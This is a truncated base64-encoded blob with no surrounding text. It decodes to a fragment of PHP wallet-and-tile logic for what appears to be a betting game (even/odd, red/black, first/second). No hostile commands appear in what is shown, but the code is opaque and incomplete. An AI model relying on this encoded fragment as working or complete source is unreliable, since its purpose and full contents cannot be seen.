W5kKCRnZW5lb3dhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRnZW5lb3dhbGxldHZhbC0kZmluYWxlb3dhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnb2RkdGlsZXMnKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpewkNCgkJCQlpZigkcmV0dXJuc3RyaW5nID09ICdldmVuJyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQkJDQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJJGVvd2FsbGV0VmFsdWUgID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJGVvdGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZXZlbnRpbGVzJyk7CQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnb2RkdGlsZXMnKTsJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9DQoJCQkJaWYoJHJldHVybnN0cmluZyA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfWVsc2V7DQoJCQkJCSRlb3RpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQkJCSRnZW5lb3dhbGxldHZhbCA9ICRlb3dhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gcm91bmQoJGdlbmVvd2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJFb1dhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJDQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJFb1dhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KDQoJCQkNCgkJCWlmKCRyYlN0YXR1cyA9PSAnZmFpbCcpew0KCQkJCSRyYndhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcpew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCQkkZ2VucmJ3YWxsZXR2YWwgPSAoJHJidGlsZXNWYWx1ZSoyKSskcmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5yYndhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVycmJXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFscmJ3YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmVkdGlsZXMnXSA9IDA7DQoJCQkJCSR0b3RhbG91dGdvaW5nID0gJHRvdGFsb3V0Z29pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZWR0aWxlcycpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyYndhbGxldCddID0gJGdlbnJid2FsbGV0dmFsLSRmaW5hbHJid2FsbGV0VmFsdWU7DQoJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHJidGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCQkkZ2VucmJ3YWxsZXR2YWwgPSAoJHJidGlsZXNWYWx1ZSoyKSskcmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5yYndhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVycmJXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFscmJ3YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnYmxhY2t0aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRnZW5yYndhbGxldHZhbC0kZmluYWxyYndhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnYmxhY2t0aWxlcycpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9DQoJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCWlmKCRyZXR1cm5jb2xvcnN0cmluZyA9PSAncmVkJyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsJCQkJCQ0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ10gPSAkdHJhbnNmZXJyYldhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0JCQ0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCSRyYndhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcpew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsncmVkdGlsZXMnXSA9IDA7CQkNCgkJCQkJJHRvdGFsaW5jb21pbmcgPSAkdG90YWxpbmNvbWluZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JlZHRpbGVzJyk7CQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOwkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSRyYnRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2JsYWNrdGlsZXMnXTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkJCSR0b3RhbGluY29taW5nID0gJHRvdGFsaW5jb21pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdibGFja3RpbGVzJyk7CQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCWlmKCRyZXR1cm5jb2xvcnN0cmluZyA9PSAncmVkJyl7DQoJCQkJCSRyYnRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3JlZHRpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ10gPSAkdHJhbnNmZXJyYldhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyYndhbGxldCddID0gJGdlbnJid2FsbGV0dmFsLSRmaW5hbHJid2FsbGV0VmFsdWU7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KDQoJCQkNCgkJCWlmKCRodFN0YXR1cyA9PSAnZmFpbCcpew0KCQkJCSRodHdhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsnaHR3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gKCRodHRpbGVzVmFsdWUqMikrJGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxodHdhbGxldFZhbHVlID0gMDsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZmlyc3R0aWxlcyddID0gMDsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2ZpcnN0dGlsZXMnKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfWVsc2V7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJCSRnZW5odHdhbGxldHZhbCA9ICgkaHR0aWxlc1ZhbHVlKjIpKyRodHdhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gcm91bmQoJGdlbmh0d2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnc2Vjb25kdGlsZXMnKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQlpZigkcmV0dXJucGxhY2VzdHJpbmcgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCQkNCgkJCQl9ZWxzZXsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQl9CQkNCgkJCQkNCgkJCX1lbHNlew0KCQkJCSRodHdhbGxldFZhbHVlICA9ICRnZXRXYWxsZXR2YWx1ZVsnaHR3YWxsZXQnXTsNCgkJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2ZpcnN0dGlsZXMnXSA9IDA7CQ0KCQkJCQkkdG90YWxpbmNvbWluZyA9ICR0b3RhbGluY29taW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZmlyc3R0aWxlcycpOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOwkJCQkJDQoJCQkJfWVsc2V7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddID0gMDsJDQoJCQkJCSR0b3RhbGluY29taW5nID0gJHRvdGFsaW5jb21pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdzZWNvbmR0aWxlcycpOwkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQlpZigkcmV0dXJucGxhY2VzdHJpbmcgPT0gJ2ZpcnN0Jyl7DQoJCQkJCSRodHRpbGVzVmFsdWUgPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gJGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuaHR3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZmlyc3R0aWxlcyddID0gJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnaHR3YWxsZXQnXSA9ICRnZW5odHdhbGxldHZhbC0kZmluYWxodHdhbGxldFZhbHVlOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQl9ZWxzZXsNCgkJCQkJJGh0dGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsnc2Vjb25kdGlsZXMnXTsNCgkJCQkJJGdlbmh0d2FsbGV0dmFsID0gJGh0d2FsbGV0VmFsdWU7D